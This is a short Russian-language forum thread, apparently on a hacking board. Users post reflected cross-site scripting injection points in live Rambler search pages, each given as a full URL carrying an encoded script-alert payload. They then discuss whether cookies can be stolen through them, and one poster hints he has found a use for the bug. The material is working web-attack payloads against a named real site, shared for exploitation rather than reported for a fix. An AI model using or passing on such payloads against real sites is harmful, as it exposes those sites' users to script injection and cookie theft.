Вот нашел на Рамблере Code: http://planeta.rambler.ru/srch?words=%22%3E%3Cscript%3Ealert%28%22xss%22%29%3C%2Fscript%3E&set=&sort=6&cc=%CA%EE%ED%F2%F0%EE%EB%FC&old_q= В поиск по планетам вводим "><script>alert("xss")</script>
Котег сори за отдельную тему)) Вот тоже с Рамблера поисковый запрос Code: http://f1.rambler.ru/srch/?sort=1&control_charset=%EB%CF%CE%D4%D2%CF%CC%D8&words=%22%3E%3Cscript%3Ealert%28%22xss%22%29%3C%2Fscript%3E Атак же при двойном запросе в http://finance.rambler.ru/db/instrsearch.html При запросе поиска фото Code: http://foto.rambler.ru/srch?control_charset=%CA%EE%ED%F2%F0%EE%EB%FC&sort=0&set=photo&words=%22%3E%3Cscript%3Ealert%28%22xss%22%29%3C%2Fscript%3E
Это все хорошо, но помойму от них пользы мало. В куках то пароля нету... ЗЫ Кажется первую багу уже залатали =-О Добавил Упс, уже сам догадался для чего такую багу заюзать =)